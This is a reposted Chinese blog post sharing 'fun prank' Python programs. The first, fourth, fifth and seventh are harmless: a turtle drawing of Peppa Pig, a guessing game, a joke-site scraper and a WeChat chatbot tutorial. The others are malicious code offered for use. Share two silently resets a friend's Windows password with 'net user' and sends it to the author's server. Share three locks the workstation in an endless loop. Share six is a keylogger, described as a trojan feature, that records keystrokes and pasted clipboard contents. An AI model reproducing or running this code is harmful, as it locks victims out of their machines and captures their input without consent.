ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

共享一些用“Python”语言编写的“有趣,讨厌,有趣”的程序代码。

2020-12-07 18:02:23  阅读:248  来源: 互联网

标签:Python self seth fd 90 有趣 circle 程序代码


为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!

分享一:"啥是佩奇?"让Python语言告诉你
分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
用Python代码创作一副佩奇:
在这里插入图片描述

  1. coding:utf-8

  2. import turtle as t
  3. t.pensize(4)
  4. t.hideturtle()
  5. t.colormode(255)
  6. t.color((255,155,192),“pink”)
  7. t.setup(840,500)
  8. t.speed(10)
  9. #鼻子
  10. t.pu()
  11. t.goto(-100,100)
  12. t.pd()
  13. t.seth(-30)
  14. t.begin_fill()
  15. a=0.4
  16. for i in range(120):
  17. if 0<=i<30 or 60<=i<90:
  18. a=a+0.08
  19. t.lt(3) #向左转3度
  20. t.fd(a) #向前走a的步长
  21. else:
  22. a=a-0.08
  23. t.lt(3)
  24. t.fd(a)
  25. t.end_fill()
  26. t.pu()
  27. t.seth(90)
  28. t.fd(25)
  29. t.seth(0)
  30. t.fd(10)
  31. t.pd()
  32. t.pencolor(255,155,192)
  33. t.seth(10)
  34. t.begin_fill()
  35. t.circle(5)
  36. t.color(160,82,45)
  37. t.end_fill()
  38. t.pu()
  39. t.seth(0)
  40. t.fd(20)
  41. t.pd()
  42. t.pencolor(255,155,192)
  43. t.seth(10)
  44. t.begin_fill()
  45. t.circle(5)
  46. t.color(160,82,45)
  47. t.end_fill()
  48. #头
  49. t.color((255,155,192),“pink”)
  50. t.pu()
  51. t.seth(90)
  52. t.fd(41)
  53. t.seth(0)
  54. t.fd(0)
  55. t.pd()
  56. t.begin_fill()
  57. t.seth(180)
  58. t.circle(300,-30)
  59. t.circle(100,-60)
  60. t.circle(80,-100)
  61. t.circle(150,-20)
  62. t.circle(60,-95)
  63. t.seth(161)
  64. t.circle(-300,15)
  65. t.pu()
  66. t.goto(-100,100)
  67. t.pd()
  68. t.seth(-30)
  69. a=0.4
  70. for i in range(60):
  71. if 0<=i<30 or 60<=i<90:
  72. a=a+0.08
  73. t.lt(3) #向左转3度
  74. t.fd(a) #向前走a的步长
  75. else:
  76. a=a-0.08
  77. t.lt(3)
  78. t.fd(a)
  79. t.end_fill()
  80. #耳朵
  81. t.color((255,155,192),“pink”)
  82. t.pu()
  83. t.seth(90)
  84. t.fd(-7)
  85. t.seth(0)
  86. t.fd(70)
  87. t.pd()
  88. t.begin_fill()
  89. t.seth(100)
  90. t.circle(-50,50)
  91. t.circle(-10,120)
  92. t.circle(-50,54)
  93. t.end_fill()
  94. t.pu()
  95. t.seth(90)
  96. t.fd(-12)
  97. t.seth(0)
  98. t.fd(30)
  99. t.pd()
  100. t.begin_fill()
  101. t.seth(100)
  102. t.circle(-50,50)
  103. t.circle(-10,120)
  104. t.circle(-50,56)
  105. t.end_fill()
  106. #眼睛
  107. t.color((255,155,192),“white”)
  108. t.pu()
  109. t.seth(90)
  110. t.fd(-20)
  111. t.seth(0)
  112. t.fd(-95)
  113. t.pd()
  114. t.begin_fill()
  115. t.circle(15)
  116. t.end_fill()
  117. t.color(“black”)
  118. t.pu()
  119. t.seth(90)
  120. t.fd(12)
  121. t.seth(0)
  122. t.fd(-3)
  123. t.pd()
  124. t.begin_fill()
  125. t.circle(3)
  126. t.end_fill()
  127. t.color((255,155,192),“white”)
  128. t.pu()
  129. t.seth(90)
  130. t.fd(-25)
  131. t.seth(0)
  132. t.fd(40)
  133. t.pd()
  134. t.begin_fill()
  135. t.circle(15)
  136. t.end_fill()
  137. t.color(“black”)
  138. t.pu()
  139. t.seth(90)
  140. t.fd(12)
  141. t.seth(0)
  142. t.fd(-3)
  143. t.pd()
  144. t.begin_fill()
  145. t.circle(3)
  146. t.end_fill()
  147. #腮
  148. t.color((255,155,192))
  149. t.pu()
  150. t.seth(90)
  151. t.fd(-95)
  152. t.seth(0)
  153. t.fd(65)
  154. t.pd()
  155. t.begin_fill()
  156. t.circle(30)
  157. t.end_fill()
  158. #嘴
  159. t.color(239,69,19)
  160. t.pu()
  161. t.seth(90)
  162. t.fd(15)
  163. t.seth(0)
  164. t.fd(-100)
  165. t.pd()
  166. t.seth(-80)
  167. t.circle(30,40)
  168. t.circle(40,80)
  169. #身体
  170. t.color(“red”,(255,99,71))
  171. t.pu()
  172. t.seth(90)
  173. t.fd(-20)
  174. t.seth(0)
  175. t.fd(-78)
  176. t.pd()
  177. t.begin_fill()
  178. t.seth(-130)
  179. t.circle(100,10)
  180. t.circle(300,30)
  181. t.seth(0)
  182. t.fd(230)
  183. t.seth(90)
  184. t.circle(300,30)
  185. t.circle(100,3)
  186. t.color((255,155,192),(255,100,100))
  187. t.seth(-135)
  188. t.circle(-80,63)
  189. t.circle(-150,24)
  190. t.end_fill()
  191. #手
  192. t.color((255,155,192))
  193. t.pu()
  194. t.seth(90)
  195. t.fd(-40)
  196. t.seth(0)
  197. t.fd(-27)
  198. t.pd()
  199. t.seth(-160)
  200. t.circle(300,15)
  201. t.pu()
  202. t.seth(90)
  203. t.fd(15)
  204. t.seth(0)
  205. t.fd(0)
  206. t.pd()
  207. t.seth(-10)
  208. t.circle(-20,90)
  209. t.pu()
  210. t.seth(90)
  211. t.fd(30)
  212. t.seth(0)
  213. t.fd(237)
  214. t.pd()
  215. t.seth(-20)
  216. t.circle(-300,15)
  217. t.pu()
  218. t.seth(90)
  219. t.fd(20)
  220. t.seth(0)
  221. t.fd(0)
  222. t.pd()
  223. t.seth(-170)
  224. t.circle(20,90)
  225. #脚
  226. t.pensize(10)
  227. t.color((240,128,128))
  228. t.pu()
  229. t.seth(90)
  230. t.fd(-75)
  231. t.seth(0)
  232. t.fd(-180)
  233. t.pd()
  234. t.seth(-90)
  235. t.fd(40)
  236. t.seth(-180)
  237. t.color(“black”)
  238. t.pensize(15)
  239. t.fd(20)
  240. t.pensize(10)
  241. t.color((240,128,128))
  242. t.pu()
  243. t.seth(90)
  244. t.fd(40)
  245. t.seth(0)
  246. t.fd(90)
  247. t.pd()
  248. t.seth(-90)
  249. t.fd(40)
  250. t.seth(-180)
  251. t.color(“black”)
  252. t.pensize(15)
  253. t.fd(20)
  254. #尾巴
  255. t.pensize(4)
  256. t.color((255,155,192))
  257. t.pu()
  258. t.seth(90)
  259. t.fd(70)
  260. t.seth(0)
  261. t.fd(95)
  262. t.pd()
  263. t.seth(0)
  264. t.circle(70,20)
  265. t.circle(10,330)
  266. t.circle(70,30)
  267. t.done()
    效果图如下:
    在这里插入图片描述

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
分享二:一个可以套路别人的python小程序
程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。

使用方法:

首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。

然后,让你的朋友在他的电脑上运行客户端 client.py。

此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。

嗯,然后你朋友的电脑密码就只有你自己知道了~

上代码:

client.py:

import socket
import getpass
import subprocess
import random
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.connect((‘172.17.21.56’, 8080))
user = getpass.getuser()
psd = ‘’
for j in range(1, 9):
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen([‘net’, ‘User’, user, psd])
phone.send(psd.encode(‘utf-8’))
back_msg = phone.recv(1024)
phone.close()

server.py

import socket
phone = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
phone.bind((‘172.17.21.56’, 8080))
phone.listen(5)
print(‘starting…’)
conn, addr = phone.accept()
print(conn)
print(‘client addr’, addr)
print(‘ready to read msg’)
client_msg = conn.recv(1024)
print(‘client msg: %s’ % client_msg)
conn.send(client_msg.upper())
conn.close()
phone.close()
分享三:一段Python 恶搞代码
代码运行后windows将无限锁屏

代码如下:from ctypes import *

while True:

user32 = windll.LoadLibrary(‘user32.dll’)

user32.LockWorkStation()

分享四:一款python代码的数字猜谜小游戏
代码如下:

  1. import random

  2. rang1 = int(input(“请设置本局游戏的最小值:”))

  3. rang2 = int(input(“请设置本局游戏的最大值:”))

  4. num = random.randint(rang1,rang2)

  5. guess = “guess”

  6. print(“数字猜谜游戏!”)

  7. i = 0

  8. while guess != num:

  9. i += 1

  10. guess = int(input(“请输入你猜的数字:”))

  11. if guess == num:

  12. print(“恭喜,你猜对了!”)

  13. elif guess < num:

  14. print(“你猜的数小了…”)

  15. else:

  16. print(“你猜的数大了…”)

  17. print(“你总共猜了%d” %i + “次”,end = ‘’)

  18. print(",快和你朋友较量一下…")
    分享五、一段好玩的Python爬虫代码
    这几年网络爬虫很火,用Python语言实现网络爬虫最合适不过了,接下来分享一段好玩的爬虫代码:

  19. -- coding: utf-8 --

  20. import urllib2

  21. import re

  22. class QSBK:

  23. def init(self):

  24. self.pageIndex = 1

  25. self.user_agent = ‘Mozilla/5.0 (Windows NT 10.0; WOW64)’

  26. self.headers = {‘User-Agent’: self.user_agent}

  27. self.stories = []

  28. 存放程序是否继续运行的变量

  29. self.enable = False

  30. 传入某一页的索引获得页面代码

  31. def getPage(self, pageIndex):

  32. try:

  33. url = ‘http://www.qiushibaike.com/hot/page/’ + str(pageIndex)

  34. request = urllib2.Request(url, headers = self.headers)

  35. response = urllib2.urlopen(request)

  36. pageCode = response.read().decode(‘utf-8’)

  37. return pageCode

  38. except urllib2.URLError, e:

  39. if hasattr(e, “reason”):

  40. print u"连接糗事百科失败,错误原因", e.reason

  41. return None

  42. 传入某一页代码,返回本页不带图片的段子列表

  43. def getPageItems(self, pageIndex):

  44. pageCode = self.getPage(pageIndex)

  45. if not pageCode:

  46. print “页面加载失败。。。”

  47. return None

  48. pattern = re.compile(’

    . ?

    (.?)

    . ?“content”>(.?) .?number">(.?)</.?number">(.?)</.’,re.S)

  49. items = re.findall(pattern, pageCode)

  50. pageStories = []

  51. for item in items:

  52. replaceBR = re.compile(’
    ’)

  53. text = re.sub(replaceBR,"\n",item[1])

  54. pageStories.append([item[0].strip(),text.strip(),item[2].strip(),item[3].strip()])

  55. return pageStories

  56. 加载并提取页面内容,加入到列表中

  57. def loadPage(self):

  58. if self.enable == True:

  59. if len(self.stories) < 2:

  60. pageStories = self.getPageItems(self.pageIndex)

  61. if pageStories:

  62. self.stories.append(pageStories)

  63. self.pageIndex += 1

  64. 调用该方法,回车打印一个段子

  65. def getOneStory(self, pageStories, page):

  66. for story in pageStories:

  67. input = raw_input()

  68. self.loadPage()

  69. if input == “Q”:

  70. self.enable = False

  71. return

  72. print u"第%d页\t发布人:%s\t赞:%s\t评论:%s\n%s" %(page,story[0],story[2],story[3],story[1])

  73. def start(self):

  74. print u"正在读取糗事百科,按回车查看新段子,Q退出"

  75. self.enable = True

  76. self.loadPage()

  77. nowPage = 0

  78. while self.enable:

  79. if len(self.stories) > 0:

  80. pageStories = self.stories[0]

  81. nowPage += 1

  82. del self.stories[0]

  83. self.getOneStory(pageStories, nowPage)

  84. spider = QSBK()

  85. spider.start()
    分享六、木马程序常用的键盘记录功能实现
    Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

代码如下:

-- coding: utf-8 --

from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():

获取最上层的窗口句柄

hwnd = user32.GetForegroundWindow()

获取进程ID

pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd,byref(pid))

将进程ID存入变量中

process_id = “%d” % pid.value

申请内存

executable = create_string_buffer("\x00"*512)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

读取窗口标题

windows_title = create_string_buffer("\x00"*512)
length = user32.GetWindowTextA(hwnd,byref(windows_title),512)

打印

print
print “[ PID:%s-%s-%s]” % (process_id,executable.value,windows_title.value)
print

关闭handles

kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)

定义击键监听事件函数

def KeyStroke(event):

global current_window

检测目标窗口是否转移(换了其他窗口就监听新的窗口)

if event.WindowName != current_window:
current_window = event.WindowName

函数调用

get_current_process()

检测击键是否常规按键(非组合键等)

if event.Ascii > 32 and event.Ascii <127:
print chr(event.Ascii),
else:

如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来

if event.Key == “V”:
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print “[PASTE]-%s” % (pasted_value),
else:
print “[%s]” % event.Key,

循环监听下一个击键事件

return True

创建并注册hook管理器

kl = pyHook.HookManager()
kl.KeyDown = KeyStroke

注册hook并执行

kl.HookKeyboard()
pythoncom.PumpMessages()
分享七、用Python写一个机器人陪自己聊聊天吧

用Python写一个机器人陪自己聊聊天吧。是不是听起来就很酷,用Python语言、itchat库、图灵机器人就可以轻松实现。

一、需要的工具

1——Python。写代码的工具;

2——itchat库。第三方库,用来登录微信,接收并回复微信好友信息;

3——图灵机器人。第三方接口,我们本次使用的机器人;

二、代码如下:

1.准备

导入需要使用的第三方库

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
2.获取来自机器人的回复信息

在这里,调用图灵机器人库,把我们接收到的微信好友信息发给图灵机器人,再取回机器人回复的信息,回复给好友。

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
这里要用到图灵机器人的接口,到图灵机器人官网(http://www.tuling123.com)注册登陆之后,生成一个属于个人的免费接口,免费接口一天只能用1000条,虽然不多,但娱乐一下自己也是足够的了。

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
创建机器人成功之后会得到apikey,把这串密码放到代码中的"key"里,这一步就完成了。

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
3.接受来自好友之间的对话信息

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
4.接受来自微信群里面的对话信息

如果不需要机器人在群聊里聊天,可以删除这块代码。

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
5.运行

最后一步,登录微信,并运行机器人。

分享几款由“Python”语言编写的“有趣、恶搞、好玩”的程序代码
看完文章后,小伙伴们是不是跃跃欲试了呢?心动不如行动赶紧行动起来吧!Python编程语言真的不难!又很强大!抓紧试试吧!

更多精彩内容:
https://www.yaoruanwen.com/n/476948.html
https://www.yaoruanwen.com/n/476943.html
https://www.yaoruanwen.com/n/476939.html
https://www.yaoruanwen.com/n/476929.html
https://www.yaoruanwen.com/n/476859.html

标签:Python,self,seth,fd,90,有趣,circle,程序代码
来源: https://blog.csdn.net/weixin_50498642/article/details/110823825

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有